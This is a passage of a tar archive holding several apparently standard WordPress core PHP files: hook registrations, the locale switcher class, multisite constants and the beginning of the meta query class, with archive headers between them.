'wp_set_comment_cookies', 10, 3 ); add_action( 'sanitize_comment_cookies', 'sanitize_comment_cookies' ); add_action( 'init', 'smilies_init', 5 ); add_action( 'plugins_loaded', 'wp_maybe_load_widgets', 0 ); add_action( 'plugins_loaded', 'wp_maybe_load_embeds', 0 ); add_action( 'shutdown', 'wp_ob_end_flush_all', 1 ); // Create a revision whenever a post is updated. add_action( 'post_updated', 'wp_save_post_revision', 10, 1 ); add_action( 'publish_post', '_publish_post_hook', 5, 1 ); add_action( 'transition_post_status', '_transition_post_status', 5, 3 ); add_action( 'transition_post_status', '_update_term_count_on_transition_post_status', 10, 3 ); add_action( 'comment_form', 'wp_comment_form_unfiltered_html_nonce' ); // Privacy. add_action( 'user_request_action_confirmed', '_wp_privacy_account_request_confirmed' ); add_action( 'user_request_action_confirmed', '_wp_privacy_send_request_confirmation_notification', 12 ); // After request marked as completed. add_filter( 'wp_privacy_personal_data_exporters', 'wp_register_comment_personal_data_exporter' ); add_filter( 'wp_privacy_personal_data_exporters', 'wp_register_media_personal_data_exporter' ); add_filter( 'wp_privacy_personal_data_exporters', 'wp_register_user_personal_data_exporter', 1 ); add_filter( 'wp_privacy_personal_data_erasers', 'wp_register_comment_personal_data_eraser' ); add_action( 'init', 'wp_schedule_delete_old_privacy_export_files' ); add_action( 'wp_privacy_delete_old_export_files', 'wp_privacy_delete_old_export_files' ); // Cron tasks. add_action( 'wp_scheduled_delete', 'wp_scheduled_delete' ); add_action( 'wp_scheduled_auto_draft_delete', 'wp_delete_auto_drafts' ); add_action( 'importer_scheduled_cleanup', 'wp_delete_attachment' ); add_action( 'upgrader_scheduled_cleanup', 'wp_delete_attachment' ); add_action( 'delete_expired_transients', 'delete_expired_transients' ); // Navigation menu actions. add_action( 'delete_post', '_wp_delete_post_menu_item' ); add_action( 'delete_term', '_wp_delete_tax_menu_item', 10, 3 ); add_action( 'transition_post_status', '_wp_auto_add_pages_to_menu', 10, 3 ); add_action( 'delete_post', '_wp_delete_customize_changeset_dependent_auto_drafts' ); // Post Thumbnail CSS class filtering. add_action( 'begin_fetch_post_thumbnail_html', '_wp_post_thumbnail_class_filter_add' ); add_action( 'end_fetch_post_thumbnail_html', '_wp_post_thumbnail_class_filter_remove' ); // Redirect old slugs. add_action( 'template_redirect', 'wp_old_slug_redirect' ); add_action( 'post_updated', 'wp_check_for_changed_slugs', 12, 3 ); add_action( 'attachment_updated', 'wp_check_for_changed_slugs', 12, 3 ); // Redirect old dates. add_action( 'post_updated', 'wp_check_for_changed_dates', 12, 3 ); add_action( 'attachment_updated', 'wp_check_for_changed_dates', 12, 3 ); // Nonce check for post previews. add_action( 'init', '_show_post_preview' ); // Output JS to reset window.name for previews. add_action( 'wp_head', 'wp_post_preview_js', 1 ); // Timezone. add_filter( 'pre_option_gmt_offset', 'wp_timezone_override_offset' ); // If the upgrade hasn't run yet, assume link manager is used. add_filter( 'default_option_link_manager_enabled', '__return_true' ); // This option no longer exists; tell plugins we always support auto-embedding. add_filter( 'pre_option_embed_autourls', '__return_true' ); // Default settings for heartbeat. add_filter( 'heartbeat_settings', 'wp_heartbeat_settings' ); // Check if the user is logged out. add_action( 'admin_enqueue_scripts', 'wp_auth_check_load' ); add_filter( 'heartbeat_send', 'wp_auth_check' ); add_filter( 'heartbeat_nopriv_send', 'wp_auth_check' ); // Default authentication filters. add_filter( 'authenticate', 'wp_authenticate_username_password', 20, 3 ); add_filter( 'authenticate', 'wp_authenticate_email_password', 20, 3 ); add_filter( 'authenticate', 'wp_authenticate_application_password', 20, 3 ); add_filter( 'authenticate', 'wp_authenticate_spam_check', 99 ); add_filter( 'determine_current_user', 'wp_validate_auth_cookie' ); add_filter( 'determine_current_user', 'wp_validate_logged_in_cookie', 20 ); add_filter( 'determine_current_user', 'wp_validate_application_password', 20 ); // Split term updates. add_action( 'admin_init', '_wp_check_for_scheduled_split_terms' ); add_action( 'split_shared_term', '_wp_check_split_default_terms', 10, 4 ); add_action( 'split_shared_term', '_wp_check_split_terms_in_menus', 10, 4 ); add_action( 'split_shared_term', '_wp_check_split_nav_menu_terms', 10, 4 ); add_action( 'wp_split_shared_term_batch', '_wp_batch_split_terms' ); // Comment type updates. add_action( 'admin_init', '_wp_check_for_scheduled_update_comment_type' ); add_action( 'wp_update_comment_type_batch', '_wp_batch_update_comment_type' ); // Email notifications. add_action( 'comment_post', 'wp_new_comment_notify_moderator' ); add_action( 'comment_post', 'wp_new_comment_notify_postauthor' ); add_action( 'after_password_reset', 'wp_password_change_notification' ); add_action( 'register_new_user', 'wp_send_new_user_notifications' ); add_action( 'edit_user_created_user', 'wp_send_new_user_notifications', 10, 2 ); // REST API actions. add_action( 'init', 'rest_api_init' ); add_action( 'rest_api_init', 'rest_api_default_filters', 10, 1 ); add_action( 'rest_api_init', 'register_initial_settings', 10 ); add_action( 'rest_api_init', 'create_initial_rest_routes', 99 ); add_action( 'parse_request', 'rest_api_loaded' ); // Sitemaps actions. add_action( 'init', 'wp_sitemaps_get_server' ); /** * Filters formerly mixed into wp-includes. */ // Theme. add_action( 'setup_theme', 'create_initial_theme_features', 0 ); add_action( 'setup_theme', '_add_default_theme_supports', 1 ); add_action( 'wp_loaded', '_custom_header_background_just_in_time' ); add_action( 'wp_head', '_custom_logo_header_styles' ); add_action( 'plugins_loaded', '_wp_customize_include' ); add_action( 'transition_post_status', '_wp_customize_publish_changeset', 10, 3 ); add_action( 'admin_enqueue_scripts', '_wp_customize_loader_settings' ); add_action( 'delete_attachment', '_delete_attachment_theme_mod' ); add_action( 'transition_post_status', '_wp_keep_alive_customize_changeset_dependent_auto_drafts', 20, 3 ); // Calendar widget cache. add_action( 'save_post', 'delete_get_calendar_cache' ); add_action( 'delete_post', 'delete_get_calendar_cache' ); add_action( 'update_option_start_of_week', 'delete_get_calendar_cache' ); add_action( 'update_option_gmt_offset', 'delete_get_calendar_cache' ); // Author. add_action( 'transition_post_status', '__clear_multi_author_cache' ); // Post. add_action( 'init', 'create_initial_post_types', 0 ); // Highest priority. add_action( 'admin_menu', '_add_post_type_submenus' ); add_action( 'before_delete_post', '_reset_front_page_settings_for_post' ); add_action( 'wp_trash_post', '_reset_front_page_settings_for_post' ); add_action( 'change_locale', 'create_initial_post_types' ); // Post Formats. add_filter( 'request', '_post_format_request' ); add_filter( 'term_link', '_post_format_link', 10, 3 ); add_filter( 'get_post_format', '_post_format_get_term' ); add_filter( 'get_terms', '_post_format_get_terms', 10, 3 ); add_filter( 'wp_get_object_terms', '_post_format_wp_get_object_terms' ); // KSES. add_action( 'init', 'kses_init' ); add_action( 'set_current_user', 'kses_init' ); // Script Loader. add_action( 'wp_default_scripts', 'wp_default_scripts' ); add_action( 'wp_default_scripts', 'wp_default_packages' ); add_action( 'wp_enqueue_scripts', 'wp_localize_jquery_ui_datepicker', 1000 ); add_action( 'wp_enqueue_scripts', 'wp_common_block_scripts_and_styles' ); add_action( 'admin_enqueue_scripts', 'wp_localize_jquery_ui_datepicker', 1000 ); add_action( 'admin_enqueue_scripts', 'wp_common_block_scripts_and_styles' ); add_action( 'enqueue_block_assets', 'wp_enqueue_registered_block_scripts_and_styles' ); add_action( 'enqueue_block_assets', 'enqueue_block_styles_assets', 30 ); add_action( 'enqueue_block_editor_assets', 'wp_enqueue_registered_block_scripts_and_styles' ); add_action( 'enqueue_block_editor_assets', 'enqueue_editor_block_styles_assets' ); add_action( 'enqueue_block_editor_assets', 'wp_enqueue_editor_block_directory_assets' ); add_action( 'enqueue_block_editor_assets', 'wp_enqueue_editor_format_library_assets' ); add_action( 'enqueue_block_editor_assets', 'wp_enqueue_global_styles_css_custom_properties' ); add_filter( 'wp_print_scripts', 'wp_just_in_time_script_localization' ); add_filter( 'print_scripts_array', 'wp_prototype_before_jquery' ); add_filter( 'customize_controls_print_styles', 'wp_resource_hints', 1 ); add_action( 'admin_head', 'wp_check_widget_editor_deps' ); // Global styles can be enqueued in both the header and the footer. See https://core.trac.wordpress.org/ticket/53494. add_action( 'wp_enqueue_scripts', 'wp_enqueue_global_styles' ); add_action( 'wp_footer', 'wp_enqueue_global_styles', 1 ); // SVG filters like duotone have to be loaded at the beginning of the body in both admin and the front-end. add_action( 'wp_body_open', 'wp_global_styles_render_svg_filters' ); add_action( 'in_admin_header', 'wp_global_styles_render_svg_filters' ); add_action( 'wp_default_styles', 'wp_default_styles' ); add_filter( 'style_loader_src', 'wp_style_loader_src', 10, 2 ); add_action( 'wp_head', 'wp_maybe_inline_styles', 1 ); // Run for styles enqueued in <head>. add_action( 'wp_footer', 'wp_maybe_inline_styles', 1 ); // Run for late-loaded styles in the footer. /* * Disable "Post Attributes" for wp_navigation post type. The attributes are * also conditionally enabled when a site has custom templates. Block Theme * templates can be available for every post type. */ add_filter( 'theme_wp_navigation_templates', '__return_empty_array' ); // Taxonomy. add_action( 'init', 'create_initial_taxonomies', 0 ); // Highest priority. add_action( 'change_locale', 'create_initial_taxonomies' ); // Canonical. add_action( 'template_redirect', 'redirect_canonical' ); add_action( 'template_redirect', 'wp_redirect_admin_locations', 1000 ); // Shortcodes. add_filter( 'the_content', 'do_shortcode', 11 ); // AFTER wpautop(). // Media. add_action( 'wp_playlist_scripts', 'wp_playlist_scripts' ); add_action( 'customize_controls_enqueue_scripts', 'wp_plupload_default_settings' ); add_action( 'plugins_loaded', '_wp_add_additional_image_sizes', 0 ); add_filter( 'plupload_default_settings', 'wp_show_heic_upload_error' ); // Nav menu. add_filter( 'nav_menu_item_id', '_nav_menu_item_id_use_once', 10, 2 ); // Widgets. add_action( 'after_setup_theme', 'wp_setup_widgets_block_editor', 1 ); add_action( 'init', 'wp_widgets_init', 1 ); add_action( 'change_locale', array( 'WP_Widget_Media', 'reset_default_labels' ) ); // Admin Bar. // Don't remove. Wrong way to disable. add_action( 'template_redirect', '_wp_admin_bar_init', 0 ); add_action( 'admin_init', '_wp_admin_bar_init' ); add_action( 'before_signup_header', '_wp_admin_bar_init' ); add_action( 'activate_header', '_wp_admin_bar_init' ); add_action( 'wp_body_open', 'wp_admin_bar_render', 0 ); add_action( 'wp_footer', 'wp_admin_bar_render', 1000 ); // Back-compat for themes not using `wp_body_open`. add_action( 'in_admin_header', 'wp_admin_bar_render', 0 ); // Former admin filters that can also be hooked on the front end. add_action( 'media_buttons', 'media_buttons' ); add_filter( 'image_send_to_editor', 'image_add_caption', 20, 8 ); add_filter( 'media_send_to_editor', 'image_media_send_to_editor', 10, 3 ); // Embeds. add_action( 'rest_api_init', 'wp_oembed_register_route' ); add_filter( 'rest_pre_serve_request', '_oembed_rest_pre_serve_request', 10, 4 ); add_action( 'wp_head', 'wp_oembed_add_discovery_links' ); add_action( 'wp_head', 'wp_oembed_add_host_js' ); // Back-compat for sites disabling oEmbed host JS by removing action. add_filter( 'embed_oembed_html', 'wp_maybe_enqueue_oembed_host_js' ); add_action( 'embed_head', 'enqueue_embed_scripts', 1 ); add_action( 'embed_head', 'print_emoji_detection_script' ); add_action( 'embed_head', 'print_embed_styles' ); add_action( 'embed_head', 'wp_print_head_scripts', 20 ); add_action( 'embed_head', 'wp_print_styles', 20 ); add_action( 'embed_head', 'wp_robots' ); add_action( 'embed_head', 'rel_canonical' ); add_action( 'embed_head', 'locale_stylesheet', 30 ); add_action( 'embed_content_meta', 'print_embed_comments_button' ); add_action( 'embed_content_meta', 'print_embed_sharing_button' ); add_action( 'embed_footer', 'print_embed_sharing_dialog' ); add_action( 'embed_footer', 'print_embed_scripts' ); add_action( 'embed_footer', 'wp_print_footer_scripts', 20 ); add_filter( 'excerpt_more', 'wp_embed_excerpt_more', 20 ); add_filter( 'the_excerpt_embed', 'wptexturize' ); add_filter( 'the_excerpt_embed', 'convert_chars' ); add_filter( 'the_excerpt_embed', 'wpautop' ); add_filter( 'the_excerpt_embed', 'shortcode_unautop' ); add_filter( 'the_excerpt_embed', 'wp_embed_excerpt_attachment' ); add_filter( 'oembed_dataparse', 'wp_filter_oembed_iframe_title_attribute', 5, 3 ); add_filter( 'oembed_dataparse', 'wp_filter_oembed_result', 10, 3 ); add_filter( 'oembed_response_data', 'get_oembed_response_data_rich', 10, 4 ); add_filter( 'pre_oembed_result', 'wp_filter_pre_oembed_result', 10, 3 ); // Capabilities. add_filter( 'user_has_cap', 'wp_maybe_grant_install_languages_cap', 1 ); add_filter( 'user_has_cap', 'wp_maybe_grant_resume_extensions_caps', 1 ); add_filter( 'user_has_cap', 'wp_maybe_grant_site_health_caps', 1, 4 ); // Block templates post type and rendering. add_filter( 'render_block_context', '_block_template_render_without_post_block_context' ); add_filter( 'pre_wp_unique_post_slug', 'wp_filter_wp_template_unique_post_slug', 10, 5 ); add_action( 'save_post_wp_template_part', 'wp_set_unique_slug_on_create_template_part' ); add_action( 'wp_footer', 'the_block_template_skip_link' ); add_action( 'setup_theme', 'wp_enable_block_templates' ); add_action( 'wp_loaded', '_add_template_loader_filters' ); unset( $filter, $action ); �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������class-wp-locale-switcher.php������������������������������������������������������������������������0000644�����������������00000011636�14717703502�0012106 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Locale API: WP_Locale_Switcher class * * @package WordPress * @subpackage i18n * @since 4.7.0 */ /** * Core class used for switching locales. * * @since 4.7.0 */ class WP_Locale_Switcher { /** * Locale stack. * * @since 4.7.0 * @var string[] */ private $locales = array(); /** * Original locale. * * @since 4.7.0 * @var string */ private $original_locale; /** * Holds all available languages. * * @since 4.7.0 * @var array An array of language codes (file names without the .mo extension). */ private $available_languages = array(); /** * Constructor. * * Stores the original locale as well as a list of all available languages. * * @since 4.7.0 */ public function __construct() { $this->original_locale = determine_locale(); $this->available_languages = array_merge( array( 'en_US' ), get_available_languages() ); } /** * Initializes the locale switcher. * * Hooks into the {@see 'locale'} filter to change the locale on the fly. * * @since 4.7.0 */ public function init() { add_filter( 'locale', array( $this, 'filter_locale' ) ); } /** * Switches the translations according to the given locale. * * @since 4.7.0 * * @param string $locale The locale to switch to. * @return bool True on success, false on failure. */ public function switch_to_locale( $locale ) { $current_locale = determine_locale(); if ( $current_locale === $locale ) { return false; } if ( ! in_array( $locale, $this->available_languages, true ) ) { return false; } $this->locales[] = $locale; $this->change_locale( $locale ); /** * Fires when the locale is switched. * * @since 4.7.0 * * @param string $locale The new locale. */ do_action( 'switch_locale', $locale ); return true; } /** * Restores the translations according to the previous locale. * * @since 4.7.0 * * @return string|false Locale on success, false on failure. */ public function restore_previous_locale() { $previous_locale = array_pop( $this->locales ); if ( null === $previous_locale ) { // The stack is empty, bail. return false; } $locale = end( $this->locales ); if ( ! $locale ) { // There's nothing left in the stack: go back to the original locale. $locale = $this->original_locale; } $this->change_locale( $locale ); /** * Fires when the locale is restored to the previous one. * * @since 4.7.0 * * @param string $locale The new locale. * @param string $previous_locale The previous locale. */ do_action( 'restore_previous_locale', $locale, $previous_locale ); return $locale; } /** * Restores the translations according to the original locale. * * @since 4.7.0 * * @return string|false Locale on success, false on failure. */ public function restore_current_locale() { if ( empty( $this->locales ) ) { return false; } $this->locales = array( $this->original_locale ); return $this->restore_previous_locale(); } /** * Whether switch_to_locale() is in effect. * * @since 4.7.0 * * @return bool True if the locale has been switched, false otherwise. */ public function is_switched() { return ! empty( $this->locales ); } /** * Filters the locale of the WordPress installation. * * @since 4.7.0 * * @param string $locale The locale of the WordPress installation. * @return string The locale currently being switched to. */ public function filter_locale( $locale ) { $switched_locale = end( $this->locales ); if ( $switched_locale ) { return $switched_locale; } return $locale; } /** * Load translations for a given locale. * * When switching to a locale, translations for this locale must be loaded from scratch. * * @since 4.7.0 * * @global Mo[] $l10n An array of all currently loaded text domains. * * @param string $locale The locale to load translations for. */ private function load_translations( $locale ) { global $l10n; $domains = $l10n ? array_keys( $l10n ) : array(); load_default_textdomain( $locale ); foreach ( $domains as $domain ) { if ( 'default' === $domain ) { continue; } unload_textdomain( $domain ); get_translations_for_domain( $domain ); } } /** * Changes the site's locale to the given one. * * Loads the translations, changes the global `$wp_locale` object and updates * all post type labels. * * @since 4.7.0 * * @global WP_Locale $wp_locale WordPress date and time locale object. * * @param string $locale The locale to change to. */ private function change_locale( $locale ) { // Reset translation availability information. _get_path_to_translation( null, true ); $this->load_translations( $locale ); $GLOBALS['wp_locale'] = new WP_Locale(); /** * Fires when the locale is switched to or restored. * * @since 4.7.0 * * @param string $locale The new locale. */ do_action( 'change_locale', $locale ); } } ��������������������������������������������������������������������������������������������������ms-default-constants.php����������������������������������������������������������������������������0000644�����������������00000011234�14717703502�0011337 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Defines constants and global variables that can be overridden, generally in wp-config.php. * * @package WordPress * @subpackage Multisite * @since 3.0.0 */ /** * Defines Multisite upload constants. * * Exists for backward compatibility with legacy file-serving through * wp-includes/ms-files.php (wp-content/blogs.php in MU). * * @since 3.0.0 */ function ms_upload_constants() { // This filter is attached in ms-default-filters.php but that file is not included during SHORTINIT. add_filter( 'default_site_option_ms_files_rewriting', '__return_true' ); if ( ! get_site_option( 'ms_files_rewriting' ) ) { return; } // Base uploads dir relative to ABSPATH. if ( ! defined( 'UPLOADBLOGSDIR' ) ) { define( 'UPLOADBLOGSDIR', 'wp-content/blogs.dir' ); } // Note, the main site in a post-MU network uses wp-content/uploads. // This is handled in wp_upload_dir() by ignoring UPLOADS for this case. if ( ! defined( 'UPLOADS' ) ) { $site_id = get_current_blog_id(); define( 'UPLOADS', UPLOADBLOGSDIR . '/' . $site_id . '/files/' ); // Uploads dir relative to ABSPATH. if ( 'wp-content/blogs.dir' === UPLOADBLOGSDIR && ! defined( 'BLOGUPLOADDIR' ) ) { define( 'BLOGUPLOADDIR', WP_CONTENT_DIR . '/blogs.dir/' . $site_id . '/files/' ); } } } /** * Defines Multisite cookie constants. * * @since 3.0.0 */ function ms_cookie_constants() { $current_network = get_network(); /** * @since 1.2.0 */ if ( ! defined( 'COOKIEPATH' ) ) { define( 'COOKIEPATH', $current_network->path ); } /** * @since 1.5.0 */ if ( ! defined( 'SITECOOKIEPATH' ) ) { define( 'SITECOOKIEPATH', $current_network->path ); } /** * @since 2.6.0 */ if ( ! defined( 'ADMIN_COOKIE_PATH' ) ) { $site_path = parse_url( get_option( 'siteurl' ), PHP_URL_PATH ); if ( ! is_subdomain_install() || is_string( $site_path ) && trim( $site_path, '/' ) ) { define( 'ADMIN_COOKIE_PATH', SITECOOKIEPATH ); } else { define( 'ADMIN_COOKIE_PATH', SITECOOKIEPATH . 'wp-admin' ); } } /** * @since 2.0.0 */ if ( ! defined( 'COOKIE_DOMAIN' ) && is_subdomain_install() ) { if ( ! empty( $current_network->cookie_domain ) ) { define( 'COOKIE_DOMAIN', '.' . $current_network->cookie_domain ); } else { define( 'COOKIE_DOMAIN', '.' . $current_network->domain ); } } } /** * Defines Multisite file constants. * * Exists for backward compatibility with legacy file-serving through * wp-includes/ms-files.php (wp-content/blogs.php in MU). * * @since 3.0.0 */ function ms_file_constants() { /** * Optional support for X-Sendfile header * * @since 3.0.0 */ if ( ! defined( 'WPMU_SENDFILE' ) ) { define( 'WPMU_SENDFILE', false ); } /** * Optional support for X-Accel-Redirect header * * @since 3.0.0 */ if ( ! defined( 'WPMU_ACCEL_REDIRECT' ) ) { define( 'WPMU_ACCEL_REDIRECT', false ); } } /** * Defines Multisite subdomain constants and handles warnings and notices. * * VHOST is deprecated in favor of SUBDOMAIN_INSTALL, which is a bool. * * On first call, the constants are checked and defined. On second call, * we will have translations loaded and can trigger warnings easily. * * @since 3.0.0 */ function ms_subdomain_constants() { static $subdomain_error = null; static $subdomain_error_warn = null; if ( false === $subdomain_error ) { return; } if ( $subdomain_error ) { $vhost_deprecated = sprintf( /* translators: 1: VHOST, 2: SUBDOMAIN_INSTALL, 3: wp-config.php, 4: is_subdomain_install() */ __( 'The constant %1$s <strong>is deprecated</strong>. Use the boolean constant %2$s in %3$s to enable a subdomain configuration. Use %4$s to check whether a subdomain configuration is enabled.' ), '<code>VHOST</code>', '<code>SUBDOMAIN_INSTALL</code>', '<code>wp-config.php</code>', '<code>is_subdomain_install()</code>' ); if ( $subdomain_error_warn ) { trigger_error( __( '<strong>Conflicting values for the constants VHOST and SUBDOMAIN_INSTALL.</strong> The value of SUBDOMAIN_INSTALL will be assumed to be your subdomain configuration setting.' ) . ' ' . $vhost_deprecated, E_USER_WARNING ); } else { _deprecated_argument( 'define()', '3.0.0', $vhost_deprecated ); } return; } if ( defined( 'SUBDOMAIN_INSTALL' ) && defined( 'VHOST' ) ) { $subdomain_error = true; if ( SUBDOMAIN_INSTALL !== ( 'yes' === VHOST ) ) { $subdomain_error_warn = true; } } elseif ( defined( 'SUBDOMAIN_INSTALL' ) ) { $subdomain_error = false; define( 'VHOST', SUBDOMAIN_INSTALL ? 'yes' : 'no' ); } elseif ( defined( 'VHOST' ) ) { $subdomain_error = true; define( 'SUBDOMAIN_INSTALL', 'yes' === VHOST ); } else { $subdomain_error = false; define( 'SUBDOMAIN_INSTALL', false ); define( 'VHOST', 'no' ); } } ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������class-wp-meta-query.php�����������������������������������������������������������������������������0000644�����������������00000072742�14717703502�0011117 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Meta API: WP_Meta_Query class * * @package WordPress * @subpackage Meta * @since 4.4.0 */ /** * Core class used to implement meta queries for the Meta API. * * Used for generating SQL clauses that filter a primary query according to metadata keys and values. * * WP_Meta_Query is a helper that allows primary query classes, such as WP_Query and WP_User_Query, * * to filter their results by object metadata, by generating `JOIN` and `WHERE` subclauses to be attached * to the primary SQL query string. * * @since 3.2.0 */ class WP_Meta_Query { /** * Array of metadata queries. * * See WP_Meta_Query::__construct() for information on meta query arguments. * * @since 3.2.0 * @var array */ public $queries = array(); /** * The relation between the queries. Can be one of 'AND' or 'OR'. * * @since 3.2.0 * @var string */ public $relation; /** * Database table to query for the metadata. * * @since 4.1.0 * @var string */ public $meta_table; /** * Column in meta_table that represents the ID of the object the metadata belongs to. * * @since 4.1.0 * @var string */ public $meta_id_column; /** * Database table that where the metadata's objects are stored (eg $wpdb->users). * * @since 4.1.0 * @var string */ public $primary_table; /** * Column in primary_table that represents the ID of the object. * * @since 4.1.0 * @var string */ public $primary_id_column; /** * A flat list of table aliases used in JOIN clauses. * * @since 4.1.0 * @var array */ protected $table_aliases = array(); /** * A flat list of clauses, keyed by clause 'name'. * * @since 4.2.0 * @var array */ protected $clauses = array(); /** * Whether the query contains any OR relations. * * @since 4.3.0 * @var bool */ protected $has_or_relation = false; /** * Constructor. * * @since 3.2.0 * @since 4.2.0 Introduced support for naming query clauses by associative array keys. * @since 5.1.0 Introduced `$compare_key` clause parameter, which enables LIKE key matches. * @since 5.3.0 Increased the number of operators available to `$compare_key`. Introduced `$type_key`, * which enables the `$key` to be cast to a new data type for comparisons. * * @param array $meta_query { * Array of meta query clauses. When first-order clauses or sub-clauses use strings as * their array keys, they may be referenced in the 'orderby' parameter of the parent query. * * @type string $relation Optional. The MySQL keyword used to join the clauses of the query. * Accepts 'AND' or 'OR'. Default 'AND'. * @type array ...$0 { * Optional. An array of first-order clause parameters, or another fully-formed meta query. * * @type string|string[] $key Meta key or keys to filter by. * @type string $compare_key MySQL operator used for comparing the $key. Accepts: * - '=' * - '!=' * - 'LIKE' * - 'NOT LIKE' * - 'IN' * - 'NOT IN' * - 'REGEXP' * - 'NOT REGEXP' * - 'RLIKE', * - 'EXISTS' (alias of '=') * - 'NOT EXISTS' (alias of '!=') * Default is 'IN' when `$key` is an array, '=' otherwise. * @type string $type_key MySQL data type that the meta_key column will be CAST to for * comparisons. Accepts 'BINARY' for case-sensitive regular expression * comparisons. Default is ''. * @type string|string[] $value Meta value or values to filter by. * @type string $compare MySQL operator used for comparing the $value. Accepts: * - '=', * - '!=' * - '>' * - '>=' * - '<' * - '<=' * - 'LIKE' * - 'NOT LIKE' * - 'IN' * - 'NOT IN' * - 'BETWEEN' * - 'NOT BETWEEN' * - 'REGEXP' * - 'NOT REGEXP' * - 'RLIKE' * - 'EXISTS' * - 'NOT EXISTS' * Default is 'IN' when `$value` is an array, '=' otherwise. * @type string $type MySQL data type that the meta_value column will be CAST to for * comparisons. Accepts: * - 'NUMERIC' * - 'BINARY' * - 'CHAR' * - 'DATE' * - 'DATETIME' * - 'DECIMAL' * - 'SIGNED' * - 'TIME' * - 'UNSIGNED' * Default is 'CHAR'. * } * } */ public function __construct( $meta_query = false ) { if ( ! $meta_query ) { return; } if ( isset( $meta_query['relation'] ) && 'OR' === strtoupper( $meta_query['relation'] ) ) { $this->relation = 'OR'; } else { $this->relation = 'AND'; } $this->queries = $this->sanitize_query( $meta_query ); } /** * Ensure the 'meta_query' argument passed to the class constructor is well-formed. * * Eliminates empty items and ensures that a 'relation' is set. * * @since 4.1.0 * * @param array $queries Array of query clauses. * @return array Sanitized array of query clauses. */ public function sanitize_query( $queries ) { $clean_queries = array(); if ( ! is_array( $queries ) ) { return $clean_queries; } foreach ( $queries as $key => $query ) { if ( 'relation' === $key ) { $relation = $query; } elseif ( ! is_array( $query ) ) { continue; // First-order clause. } elseif ( $this->is_first_order_clause( $query ) ) { if ( isset( $query['value'] ) && array() === $query['value'] ) { unset( $query['value'] ); } $clean_queries[ $key ] = $query; // Otherwise, it's a nested query, so we recurse. } else { $cleaned_query = $this->sanitize_query( $query ); if ( ! empty( $cleaned_query ) ) { $clean_queries[ $key ] = $cleaned_query; } } } if ( empty( $clean_queries ) ) { return $clean_queries; } // Sanitize the 'relation' key provided in the query. if ( isset( $relation ) && 'OR' === strtoupper( $relation ) ) { $clean_queries['relation'] = 'OR'; $this->has_or_relation = true; /* * If there is only a single clause, call the relation 'OR'. * This value will not actually be used to join clauses, but it * simplifies the logic around combining key-only queries. */ } elseif ( 1 === count( $clean_queries ) ) { $clean_queries['relation'] = 'OR'; // Default to AND. } else { $clean_queries['relation'] = 'AND'; } return $clean_queries; } /** * Determine whether a query clause is first-order. * * A first-order meta query clause is one that has either a 'key' or * a 'value' array key. * * @since 4.1.0 * * @param array $query Meta query arguments. * @return bool Whether the query clause is a first-order clause. */ protected function is_first_order_clause( $query ) { return isset( $query['key'] ) || isset( $query['value'] ); } /** * Constructs a meta query based on 'meta_*' query vars * * @since 3.2.0 * * @param array $qv The query variables */ public function parse_query_vars( $qv ) { $meta_query = array(); /* * For orderby=meta_value to work correctly, simple query needs to be * first (so that its table join is against an unaliased meta table) and * needs to be its own clause (so it doesn't interfere with the logic of * the rest of the meta_query). */ $primary_meta_query = array(); foreach ( array( 'key', 'compare', 'type', 'compare_key', 'type_key' ) as $key ) { if ( ! empty( $qv[ "meta_$key" ] ) ) { $primary_meta_query[ $key ] = $qv[ "meta_$key" ]; } } // WP_Query sets 'meta_value' = '' by default. if ( isset( $qv['meta_value'] ) && '' !== $qv['meta_value'] && ( ! is_array( $qv['meta_value'] ) || $qv['meta_value'] ) ) { $primary_meta_query['value'] = $qv['meta_value']; } $existing_meta_query = isset( $qv['meta_query'] ) && is_array( $qv['meta_query'] ) ? $qv['meta_query'] : array(); if ( ! empty( $primary_meta_query ) && ! empty( $existing_meta_query ) ) { $meta_query = array( 'relation' => 'AND', $primary_meta_query, $existing_meta_query, ); } elseif ( ! empty( $primary_meta_query ) ) { $meta_query = array( $primary_meta_query, ); } elseif ( ! empty( $existing_meta_query ) ) { $meta_query = $existing_meta_query; } $this->__construct( $meta_query ); } /** * Return the appropriate alias for the given meta type if applicable. * * @since 3.7.0 * * @param string $type MySQL type to cast meta_value. * @return string MySQL type. */ public function get_cast_for_type( $type = '' ) { if ( empty( $type ) ) { return 'CHAR'; } $meta_type = strtoupper( $type ); if ( ! preg_match( '/^(?:BINARY|CHAR|DATE|DATETIME|SIGNED|UNSIGNED|TIME|NUMERIC(?:\(\d+(?:,\s?\d+)?\))?|DECIMAL(?:\(\d+(?:,\s?\d+)?\))?)$/', $meta_type ) ) { return 'CHAR'; } if ( 'NUMERIC' === $meta_type ) { $meta_type = 'SIGNED'; } return $meta_type; } /** * Generates SQL clauses to be appended to a main query. * * @since 3.2.0 * * @param string $type Type of meta. Possible values include but are not limited * to 'post', 'comment', 'blog', 'term', and 'user'. * @param string $primary_table Database table where the object being filtered is stored (eg wp_users). * @param string $primary_id_column ID column for the filtered object in $primary_table. * @param object $context Optional. The main query object that corresponds to the type, for * example a `WP_Query`, `WP_User_Query`, or `WP_Site_Query`. * @return string[]|false { * Array containing JOIN and WHERE SQL clauses to append to the main query, * or false if no table exists for the requested meta type. * * @type string $join SQL fragment to append to the main JOIN clause. * @type string $where SQL fragment to append to the main WHERE clause. * } */ public function get_sql( $type, $primary_table, $primary_id_column, $context = null ) { $meta_table = _get_meta_table( $type ); if ( ! $meta_table ) { return false; } $this->table_aliases = array(); $this->meta_table = $meta_table; $this->meta_id_column = sanitize_key( $type . '_id' ); $this->primary_table = $primary_table; $this->primary_id_column = $primary_id_column; $sql = $this->get_sql_clauses(); /* * If any JOINs are LEFT JOINs (as in the case of NOT EXISTS), then all JOINs should * be LEFT. Otherwise posts with no metadata will be excluded from results. */ if ( false !== strpos( $sql['join'], 'LEFT JOIN' ) ) { $sql['join'] = str_replace( 'INNER JOIN', 'LEFT JOIN', $sql['join'] ); } /** * Filters the meta query's generated SQL. * * @since 3.1.0 * * @param string[] $sql Array containing the query's JOIN and WHERE clauses. * @param array 